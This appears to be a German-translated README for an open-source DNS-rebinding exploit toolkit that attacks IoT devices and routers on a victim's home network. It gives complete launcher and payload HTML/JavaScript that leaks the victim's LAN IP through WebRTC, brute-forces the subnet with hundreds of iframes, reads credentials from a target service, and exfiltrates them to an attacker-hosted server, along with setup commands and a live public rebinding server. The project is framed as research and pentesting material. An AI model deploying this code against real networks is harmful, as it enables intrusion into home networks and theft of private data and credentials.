DNS Rebind Toolkit

Demo | Security Advisory | Enthaltene Payloads | FAQ

HAFTUNGSAUSSCHLUSS: Diese Software dient nur zu Bildungszwecken. Diese Software sollte nicht für illegale Aktivitäten verwendet werden. Der Autor ist nicht verantwortlich für ihre Verwendung. Sei kein Arsch.

DNS Rebind Toolkit ist ein Frontend-JavaScript-Framework zur Entwicklung von DNS-Rebinding-Exploits gegen anfällige Hosts und Dienste in einem lokalen Netzwerk (LAN). Es kann verwendet werden, um Geräte wie Google Home, Roku, Sonos-WLAN-Lautsprecher, WLAN-Router, „intelligente“ Thermostate und andere IoT-Geräte anzugreifen. Mit diesem Toolkit kann ein entfernter Angreifer die Firewall eines Routers umgehen und direkt mit Geräten im Heimnetzwerk des Opfers interagieren, private Informationen exfiltrieren und in einigen Fällen sogar die anfälligen Geräte selbst steuern.

Der Angriff erfordert, dass ein Opfer im Zielnetzwerk lediglich einem Link folgt oder eine HTML-Anzeige mit einem bösartigen Iframe angezeigt bekommt. Von dort aus wird der Webbrowser des Opfers wie ein Proxy verwendet, um direkt auf andere Hosts zuzugreifen, die mit seinem Heimnetzwerk verbunden sind. Diese Zielmaschinen und -dienste wären für den Angreifer aus dem Internet andernfalls nicht erreichbar. Der entfernte Angreifer weiß möglicherweise nicht, um welche Dienste es sich handelt oder welche IP-Adressen sie im Netzwerk des Opfers belegen, aber DNS Rebind Toolkit erledigt das, indem es Hunderte wahrscheinlicher IP-Adressen per Brute-Force durchprobiert.

Unter der Haube nutzt dieses Tool einen öffentlichen whonow-DNS-Server, der auf rebind.network:53 läuft, um den DNS-Rebinding-Angriff auszuführen und den Webbrowser des Opfers dazu zu bringen, die Same-Origin-Policy zu verletzen. Von dort aus nutzt es WebRTC, um die private IP-Adresse des Opfers preiszugeben, z. B. 192.168.1.36. Es verwendet die ersten drei Oktette dieser lokalen IP-Adresse, um das Subnetz des Netzwerks zu erraten, und injiziert dann 256 Iframes von 192.168.1.0-255, die einen Payload an jeden Host liefern, der möglicherweise im Netzwerk-Subnetz liegt.

Dieses Toolkit kann verwendet werden, um eigene DNS-Rebinding-Angriffe zu entwickeln und einzusetzen. Im Verzeichnis payloads/ sind mehrere reale Angriffs-Payloads enthalten. Diese Payloads umfassen Informations-Exfiltration (und Rickroll-Unfug) gegen einige beliebte IoT-Geräte, darunter Google Home und Roku-Produkte.

Dieses Toolkit ist das Produkt unabhängiger Sicherheitsforschung zu DNS-Rebinding-Angriffen. Die ursprüngliche Forschung kannst du hier lesen.

Erste Schritte

# clone the repo
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit

# install dependencies
npm install

# run the server using root to provide access to privileged port 80 
# this script serves files from the www/, /examples, /share, and /payloads directories
sudo node server

Standardmäßig stellt server.js Payloads bereit, die Google Home, Roku, Sonos-Lautsprecher, Phillips-Hue-Lampen und Radio-Thermostat-Geräte angreifen, deren Dienste auf den Ports 8008, 8060, 1400, 80 bzw. 80 laufen. Wenn du eines dieser Geräte in deinem Heimnetzwerk hast, navigiere zu http://rebind.network für eine nette Überraschung ;). Öffne die Entwicklerkonsole und sieh zu, wie diese Dienste harmlos ausgenutzt werden, wodurch Daten von ihnen gestohlen und an server.js exfiltriert werden.

API und Verwendung

Dieses Toolkit bietet zwei JavaScript-Objekte, die zusammen verwendet werden können, um DNS-Rebinding-Angriffe zu erstellen:

DNSRebindAttack: Dieses Objekt wird verwendet, um einen Angriff auf einen anfälligen Dienst zu starten, der auf einem bekannten Port läuft. Es erzeugt für jede IP-Adresse, die du als Ziel wählst, einen Payload. DNSRebindAttack-Objekte werden verwendet, um mehrere DNSRebindNode-Objekte zu erstellen, zu verwalten und mit ihnen zu kommunizieren. Jeder von DNSRebindAttack gestartete Payload muss ein DNSRebindNode-Objekt enthalten.
DNSRebindNode: Dieses statische Klassenobjekt sollte in jede HTML-Payload-Datei aufgenommen werden. Es wird verwendet, um einen Dienst anzugreifen, der auf einem Host läuft. Es kann mit dem DNSRebindAttack-Objekt kommunizieren, das es erzeugt hat, und es enthält Hilfsfunktionen zur Ausführung des DNS-Rebinding-Angriffs (mit DNSRebindNode.rebind(...)) sowie zum Exfiltrieren von während des Angriffs entdeckten Daten an server.js (DNSRebindNode.exfiltrate(...)).

Diese beiden Skripte werden zusammen verwendet, um einen Angriff gegen unbekannte Hosts in einem firewallgeschützten LAN auszuführen. Ein grundlegender Angriff sieht so aus:

Der Angreifer sendet dem Opfer einen Link zu einer bösartigen HTML-Seite, die den Angriff startet: z. B. http://example.com/launcher.html. launcher.html enthält eine Instanz von DNSRebindAttack.
Das Opfer folgt dem Link des Angreifers oder besucht eine Seite, auf der http://example.com/launcher.html als Iframe eingebettet ist. Dadurch beginnt der DNSRebindAttack auf launcher.html mit dem Angriff.
DNSRebindAttack verwendet einen WebRTC-Leak, um die lokale IP-Adresse des Opferrechners herauszufinden (z. B. 192.168.10.84). Der Angreifer nutzt diese Informationen, um einen Bereich von IP-Adressen im LAN des Opfers als Ziel auszuwählen (z. B. 192.168.10.0-255).
launcher.html startet den DNS-Rebinding-Angriff (mit DNSRebindAttack.attack(...)) gegen einen Bereich von IP-Adressen im Subnetz des Opfers, wobei ein einzelner Dienst angegriffen wird (z. B. die , die auf Port verfügbar ist).

Beachte: Wenn ein Benutzer ein Google-Home-Gerät mit unbekannter IP-Adresse in seinem Netzwerk hat und ein Angriff gegen das gesamte Subnetz 192.168.1.0/24 gestartet wird, wird der Rebind-Angriff eines DNSRebindNodes erfolgreich sein und 254 werden fehlschlagen.

Beispiele

Ein Angriff besteht aus drei koordinierten Skripten und Dateien:

Eine HTML-Datei, die eine Instanz von DNSRebindAttack enthält (z. B. launcher.html)
Eine HTML-Datei, die den Angriffs-Payload enthält (z. B. payload.html). Diese Datei wird von DNSRebindAttack für jede angegriffene IP-Adresse in launcher.html eingebettet.
Ein DNS-Rebinding-Toolkit-Server (server.js), der die obigen Dateien ausliefert und bei Bedarf Daten exfiltriert.

`launcher.html`

Hier ist eine Beispiel-HTML-Launcher-Datei. Das vollständige Dokument findest du in examples/launcher.html.

<!DOCTYPE html>
<head>
	<title>Example launcher</title>
</head>
<body>
    <!-- This script is a depency of DNSRebindAttack.js and must be included -->
    <script type="text/javascript" src="/share/js/EventEmitter.js"></script>
    <!-- Include the DNS Rebind Attack object -->
    <script type="text/javascript" src="/share/js/DNSRebindAttack.js"></script>
    <script type="text/javascript">

    // DNSRebindAttack has a static method that uses WebRTC to leak the
    // browser's IP address on the LAN. We'll use this to guess the LAN's IP
    // subnet. If the local IP is 192.168.1.89, we'll launch 255 iframes
    // targetting all IP addresses from 192.168.1.1-255
    DNSRebindAttack.getLocalIPAddress()
    .then(ip => launchRebindAttack(ip))
    .catch(err => {
        console.error(err)
        // Looks like our nifty WebRTC leak trick didn't work (doesn't work
        // in some browsers). No biggie, most home networks are 192.168.1.1/24
        launchRebindAttack('192.168.1.1')
    })
    
    function launchRebindAttack(localIp) {
        
        // convert 192.168.1.1 into array from 192.168.1.0 - 192.168.1.255
        const first3Octets = localIp.substring(0, localIp.lastIndexOf('.'))
        const ips = [...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
        
        // The first argument is the domain name of a publicly accessible
        // whonow server (https://github.com/brannondorsey/whonow).
        // I've got one running on port 53 of rebind.network you can to use.
        // The services you are attacking might not be running on port 80 so 
        // you will probably want to change that too.
        const rebind = new DNSRebindAttack('rebind.network', 80)

        // Launch a DNS Rebind attack, spawning 255 iframes attacking the service
        // on each host of the subnet (or so we hope).
        // Arguments are:
        //  1) target ip addresses
        //  2) IP address your Node server.js is running on. Usually 127.0.0.1
        //     during dev, but then the publicly accessible IP (not hostname)
        //     of the VPS hosting this repo in production.
        //  3) the HTML payload to deliver to this service. This HTML file should
        //     have a DNSRebindNode instance implemented on in it.
        //  4) the interval in milliseconds to wait between each new iframe
        //     embed. Spawning 100 iframes at the same time can choke (or crash)
        //     a browser. The higher this value, the longer the attack takes,
        //     but the less resources it consumes.
        rebind.attack(ips, '127.0.0.1', 'examples/payload.html', 200)
        
        // rebind.nodes is also an EventEmitter, only this one is fired using
        // DNSRebindNode.emit(...). This allows DNSRebindNodes inside of
        // iframes to post messages back to the parent DNSRebindAttack that
        // launched them. You can define custome events by simply emitting
        // DNSRebindNode.emit('my-custom-event') and a listener in rebind.nodes
        // can receive it. That said, there are a few standard event names that
        // get triggered automagically:
        //  - begin: triggered when DNSRebindNode.js is loaded. This signifies
        //    that an attack has been launched (or at least, it's payload was
        //    delivered) against an IP address.
        //  - rebind: the DNS rebind was successful, this node should now be
        //    communicating with the target service.
        //  - exfiltrate: send JSON data back to your Node server.js and save
        //    it inside the data/ folder.
        // Additionally, the DNSRebindNode.destroy() static method
        // will trigger the 'destory' event and cause DNSRebindAttack to
        // remove the iframe.

        rebind.nodes.on('begin', (ip) => {
            // the DNSRebindNode has been loaded, attacking ip
        })

        rebind.nodes.on('rebind', (ip) => {
            // the rebind was successful
            console.log('node rebind', ip)
        })

        rebind.nodes.on('exfiltrate', (ip, data) => {
            // JSON data was exfiltrated and saved to the data/
            // folder on the remote machine hosting server.js
            
            console.log('node exfiltrate', ip, data)
            
            // data = {
            //     "username": "crashOverride",
            //     "password": "hacktheplanet!",
            // }
        })
    }
    </script>
</body>
</html>

`payload.html`

Hier ist eine Beispiel-HTML-Payload-Datei. Das vollständige Dokument findest du in examples/payload.html.

<!DOCTYPE html>
<html>
<head>
    <title>Example Payload</title>
</head>
<body>
<!--
Load the DNSRebindNode. This static class is used to launch the rebind
attack and communicate with the DNSRebindAttack instance in example-launcher.html
-->
<script type="text/javascript" src="/share/js/DNSRebindNode.js"></script>
<script type="text/javascript">

    attack()
    .then(() => {},
          err => {
              // there was an error at some point during the attack
              console.error(err)
              DNSRebindNode.emit('fatal', err.message)
          }
    ) // remove this iframe by calling destroy()
    .then(() => DNSRebindNode.destroy())

    // launches the attack and returns a promise that is resolved if the target
    // service is found and correctly exploited, or more likely, rejected because
    // this host doesn't exist, the target service isn't running, or something
    // went wrong with the exploit. Remember that this attack is being launched
    // against 255+ IP addresses, so most of them won't succeed.
    async function attack() {

        // DNSRebindNode has some default fetch options that specify things
        // like no caching, etc. You can re-use them for convenience, or ignore
        // them and create your own options object for each fetch() request.
        // Here are their default values:
        // {
        //     method: "GET",
        //     headers: {
        //         // this doesn't work in all browsers. For instance,
        //         // Firefox doesn't let you do this.
        //         "Origin": "", // unset the origin header
        //         "Pragma": "no-cache",
        //         "Cache-Control": "no-cache"
        //     },
        //     cache: "no-cache"
        // }
        const getOptions = DNSRebindNode.fetchOptions()

        try {
            // In this example, we'll pretend we are attacking some service with
            // an /auth.json file with username/password sitting in plaintext.
            // Before we swipe those creds, we need to first perform the rebind
            // attack. Most likely, our webserver will cache the DNS results
            // for this page's host. DNSRebindNode.rebind(...) recursively
            // re-attempts to rebind the host with a new, target IP address.
            // This can take over a minute, and if it is unsuccessful the
            // promise is rejected.
            const opts = {
                // these options get passed to the DNS rebind fetch request
                fetchOptions: getOptions,
                // by default, DNSRebindNode.rebind() is considered successful
                // if it receives an HTTP 200 OK response from the target service.
                // However, you can define any kind of "rebind success" scenario
                // yourself with the successPredicate(...) function. This
                // function receives a fetch result as a parameter and the return
                // value determines if the rebind was successful (i.e. you are
                // communicating with the target server). Here we check to see
                // if the fetchResult was sent by our example vulnerable server. 
                successPredicate: (fetchResult) => {
                    return fetchResult.headers.get('Server') == 'Example Vulnerable Server v1.0'
                }
            }
            // await the rebind. Can take up to over a minute depending on the 
            // victim's DNS cache settings or if there is no host listening on
            // the other side.
            await DNSRebindNode.rebind(`http://${location.host}/auth.json`, opts)
        } catch (err) {
            // whoops, the rebind failed. Either the browser's DNS cache was
            // never cleared, or more likely, this service isn't running on the
            // target host. Oh well... Bubble up the rejection and have our
            // attack()'s rejection handler deal w/ it.
            return Promise.reject(err)
        }

        try {
            // alrighty, now that we've rebound the host and are communicating
            // with the target service, let's grab the credentials
            const creds = await fetch(`http://${location.host}/auth.json`)
                                .then(res => res.json())

             // {
             //     "username": "crashOverride",
             //     "password": "hacktheplanet!",
             // }
            // console.log(creds)

            // great, now let's exfiltrate those creds to the Node.js server
            // running this whole shebang. That's the last thing we care about,
            // so we will just return this promise as the result of attack()
            // and let its handler's deal with it.
            //
            // NOTE: the second argument to exfiltrate(...) must be JSON
            // serializable.
            return DNSRebindNode.exfiltrate('auth-example', creds)

        } catch (err) {
            return Promise.reject(err)
        }
    }
</script>
</body>
</html>

`server.js`

Dieses Skript wird verwendet, um die Dateien launcher.html und payload.html auszuliefern sowie von DNSRebindNode exfiltrierte Daten zu empfangen und im Ordner data/ zu speichern. Für die Entwicklung lasse ich diesen Server normalerweise auf localhost laufen und richte DNSRebindAttack.attack(...) auf 127.0.0.1. Für den Produktionsbetrieb lasse ich den Server auf einem VPS-Cloud-Server laufen und richte DNSRebindAttack.attack(...) auf dessen öffentliche IP-Adresse.

# run with admin privileged so that it can open port 80.
sudo node server

usage: server [-h] [-v] [-p PORT]

DNS Rebind Toolkit server

Optional arguments:
  -h, --help            Show this help message and exit.
  -v, --version         Show program's version number and exit.
  -p PORT, --port PORT  Which ports to bind the servers on. May include 
                        multiple like: --port 80 --port 1337 (default: -p 80 
                        -p 8008 -p 8060 -p 1337)

Weitere Beispiele

Ich habe einen Beispiel-Verwundbarer-Server in examples/vulnerable-server.js beigefügt. Dieser anfällige Dienst MUSS von einer anderen Maschine in deinem Netzwerk aus ausgeführt werden, da sein Port demselben Port wie bei server.js entsprechen MUSS. Um diesen Beispielangriff selbst auszuführen, gehe wie folgt vor:

Zweiter Rechner

# clone the repo 
git clone https://github.com/brannondorsey/dns-rebind-toolkit
cd dns-rebind-toolkit

# launch the vulnerable server
node examples/vulnerable-server
# ...
# vulnerable server is listening on 3000

Hauptrechner

node server --port 3000

Navigiere nun mit deinem Browser zu http://localhost:3000/launcher.html und öffne eine Entwicklerkonsole. Warte ein oder zwei Minuten; wenn der Angriff funktioniert hat, solltest du einige ausgelesene Zugangsdaten von dem anfälligen Server sehen, der auf dem zweiten Rechner läuft.

Schau dir die Verzeichnisse examples/ und payloads/ für weitere Beispiele an.

Dateien und Verzeichnisse

server.js: Der DNS-Rebind-Toolkit-Server
payloads/: Mehrere handgefertigte HTML-Payload-Dateien, die auf einige anfällige IoT-Geräte abzielen. Enthält derzeit Angriffe gegen Google Home, Roku und Radio Thermostat. Ich würde mich freuen, in Zukunft weitere Payloads in diesem Repo zu sehen (PRs willkommen!)
examples/: Dateien mit Beispielen zur Verwendung.
data/: Verzeichnis, in dem von DNSRebindNode.exfiltrate(...) exfiltrierte Daten gespeichert werden.
share/: Verzeichnis mit JavaScript-Dateien, die von mehreren HTML-Dateien in examples/ und payload/ gemeinsam genutzt werden.

Dieses Toolkit wurde entwickelt, um ein nützliches Werkzeug für Forscher und Penetrationstester zu sein. Wenn du einen Teil der Forschung sehen möchtest, die zu seiner Entstehung geführt hat, wirf einen Blick auf diesen Beitrag. Wenn du einen Payload für einen anderen Dienst schreibst, erwäge einen PR an dieses Repository, damit andere von deiner Arbeit profitieren können!

dns-rebind-toolkit

Beliebteste